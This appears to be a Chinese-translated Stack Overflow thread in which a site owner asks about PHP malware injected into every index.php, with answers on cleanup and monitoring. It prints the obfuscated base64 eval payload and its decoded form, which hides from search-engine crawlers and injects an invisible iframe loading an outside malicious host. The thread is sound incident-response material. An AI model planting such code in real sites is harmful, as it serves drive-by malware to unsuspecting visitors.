fra*_*bit 36 php security virus malware-detection deobfuscation
我的网站(非常大的社区网站)最近感染了病毒.每个index.php
文件都被更改,以便将这些文件的开头php标记更改为以下行:
<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));
Run Code Online (Sandbox Code Playgroud)
当我解码它时,它产生了以下PHP代码:
<?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}
Run Code Online (Sandbox Code Playgroud)
我已经尝试了几种方法来清理病毒,甚至从备份中恢复,文件在几分钟或几小时后再次被感染.你能帮我吗?
你对这种病毒了解多少?
是否存在用于安装和传播的已知安全漏洞?
上面的PHP代码实际上做了什么?
它嵌入iframe的页面有什么作用?
当然更重要的是:我能做些什么来摆脱它?
请帮助,我们已经几乎耗尽了想法和希望:(
UPDATE1 更多细节:一个奇怪的事情是:当我们第一次检查受感染的文件时.它们已被更改,但在某些情况下,它们在ftp程序中的修改时间显示为几天,几个月甚至几年前的最后一次访问!这怎么可能呢?它让我疯狂!
更新2 我认为在用户在Wordpress安装中安装插件后问题就出现了.从备份恢复并完全删除Wordpress文件夹和相关的数据库后问题似乎消失了.我们目前订阅了一项安全服务,他们正在调查这个问题,以确保黑客行为已经消失.感谢任何回复的人.
Luk*_*son 48
恢复和清除您的网站的步骤(假设您有一个已知的良好备份).
在进行补救工作之前,您需要基本关闭网站的大门.这将阻止访问者获取恶意代码,查看错误消息等.只是良好的做法.
您应该可以通过将以下内容放入webroot中的.htaccess文件中来完成此操作.(用您自己的IP地址替换"!!您的IP地址!!" - 如果您不知道您的IP地址,请参阅http://icanhazip.com.)
order deny,allow
deny from all
allow from !!Your IP Address Here!!
Run Code Online (Sandbox Code Playgroud)
将所有内容从良好的备份下载到单独的文件夹中.这可能需要一段时间(取决于您的网站大小,连接速度等).
在Windows机器上,您可以使用WinMerge - http://winmerge.org/ - 它是免费且功能强大的.在MacOS计算机上,查看Alternative.to中可能的替换列表
你应该得到一些不同的结果:
(又名"为什么我们都不能相处?")
对于相同的文件,不需要进一步操作.对于仅在一侧存在的文件,查看文件并确定它们是否合法(即应该存在的用户上传,可能添加的其他文件等).对于不同的文件,请查看文件(文件差异实用程序甚至可以显示已添加/修改/删除了哪些行)并查看服务器版本是否有效.覆盖(使用备份版本)任何包含恶意代码的文件.
这是否就像更改您的FTP/cPanel密码一样简单,或者查看您对外部/非受控资源的使用(正如您所说,您正在执行大量的fgets,fopens等等,您可能需要检查传递给它们的参数,因为是一种让脚本拉入恶意代码的方法)等.
在更正受感染文件并删除恶意文件后,抓住机会成为唯一一个查看网站的人,以确保所有内容仍按预期运行.
在步骤1中反转.htaccess文件中所做的更改.请仔细观察.密切关注访问者和错误日志,看看是否有人试图触发删除的恶意文件等.
有一些解决方案,允许您在主机上执行自动检查(使用CRON作业),该检查将检测并详细说明发生的任何更改.有些人有点冗长(你会收到一封电子邮件,每个文件都有变化),但你应该能够根据自己的需要调整它们:
确保您在网站上执行了预定备份,并保留其中一些备份,以便您可以根据需要采取不同的步骤.例如,如果您执行了每周备份,则可能需要保留以下内容:
如果你有人用比代码注入攻击更具破坏性的东西攻击你的网站,这些将永远让生活更轻松.
哦,并确保你备份你的数据库 - 有很多站点基于CMSes,文件很好,但如果你丢失/破坏它们背后的数据库,那么备份基本上没用.
首先,关闭您的网站,直到您弄清楚他是如何进入的以及如何修复它。看起来它正在向您的客户提供恶意软件。
接下来,在 php 文件中搜索 fgets、fopen、fputs、eval 或 system。我推荐notepad++,因为它的“在文件中查找”功能。另外,请确保这是您的 PHP 唯一被修改的地方。您有离线副本可以比较吗?
归档时间: |
|
查看次数: |
63510 次 |
最近记录: |